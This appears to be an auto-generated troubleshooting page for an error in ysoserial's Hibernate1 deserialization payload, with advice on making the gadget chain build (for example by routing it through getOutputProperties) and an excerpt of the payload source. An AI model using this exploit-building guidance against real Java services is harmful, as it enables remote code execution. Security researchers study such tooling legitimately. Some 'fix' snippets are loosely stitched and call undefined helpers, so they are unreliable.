frohoff/ysoserial · error · IllegalArgumentException

Hibernate4 can only call getters

Error message

Hibernate4 can only call getters

What it means

Hibernate1's makeHibernate4Getter() builds a Hibernate4 BasicGetter around a Method, but Hibernate4 getters can only wrap get-prefixed accessor methods. If the given method name doesn't start with "get", it throws IllegalArgumentException instead of building a broken getter.

Solutions

1. Use a getter method name starting with 'get', e.g. 'getOutputProperties'
2. Compute the property name correctly — the code derives it by lowercasing the char at index 3
3. If the target needs a non-getter call, choose a different payload type

Example fix

// before
Hibernate1.makeGetter(tplClass, "toString");
// after
Hibernate1.makeGetter(tplClass, "getOutputProperties");

if (!method.startsWith("get")) throw new IllegalArgumentException("Hibernate4 getter must start with 'get'");

try { g = Hibernate1.makeGetter(tplClass, m); } catch (IllegalArgumentException e) { pickGetterAlternative(); }

When it happens

Trigger: Calling Hibernate1.getObject with a template method name that doesn't start with "get" (e.g. "toString", "isX", or an arbitrary method name) while targeting Hibernate4 property access.

Common situations: Trying to route the gadget through setters or arbitrary methods as with other payloads; using boolean 'is' accessors; version drift where the target uses Hibernate5 (different property accessor API) but the payload invokes the Hibernate4 path.

Understand the failure class

Background: "Must be a positive integer", "Invalid value", "Unsupported": the invalid-argument-value error family, when a library rejects the value you pass — this error's family across 35 libraries.

Related errors

• Failed to construct payload
• Command format is
• Command format is
• Unsupported command
• Unsupported command

AI-assisted analysis of frohoff/ysoserial@218bcffcaa (2026-09-12). Data as JSON: /api/errors/f402439fa5292c80. Report an issue: GitHub.

Appendix: source

Thrown at src/main/java/ysoserial/payloads/Hibernate1.java:84

    public static Object makeGetter ( Class<?> tplClass, String method ) throws NoSuchMethodException, SecurityException, InstantiationException,
            IllegalAccessException, IllegalArgumentException, InvocationTargetException, ClassNotFoundException {
        if ( System.getProperty("hibernate5") != null ) {
            return makeHibernate5Getter(tplClass, method);
        }
        return makeHibernate4Getter(tplClass, method);
    }


    public static Object makeHibernate4Getter ( Class<?> tplClass, String method ) throws ClassNotFoundException, NoSuchMethodException,
            SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
        Class<?> getterIf = Class.forName("org.hibernate.property.Getter");
        Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
        Constructor<?> bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
        Reflections.setAccessible(bgCon);

        if ( !method.startsWith("get") ) {
            throw new IllegalArgumentException("Hibernate4 can only call getters");
        }

        String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4);

        Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName);
        Object arr = Array.newInstance(getterIf, 1);
        Array.set(arr, 0, g);
        return arr;
    }


    public static Object makeHibernate5Getter ( Class<?> tplClass, String method ) throws NoSuchMethodException, SecurityException,
            ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
        Class<?> getterIf = Class.forName("org.hibernate.property.access.spi.Getter");
        Class<?> basicGetter = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
        Constructor<?> bgCon = basicGetter.getConstructor(Class.class, String.class, Method.class);
        Object g = bgCon.newInstance(tplClass, "test", tplClass.getDeclaredMethod(method));
        Object arr = Array.newInstance(getterIf, 1);

View on GitHub (pinned to 218bcffcaa)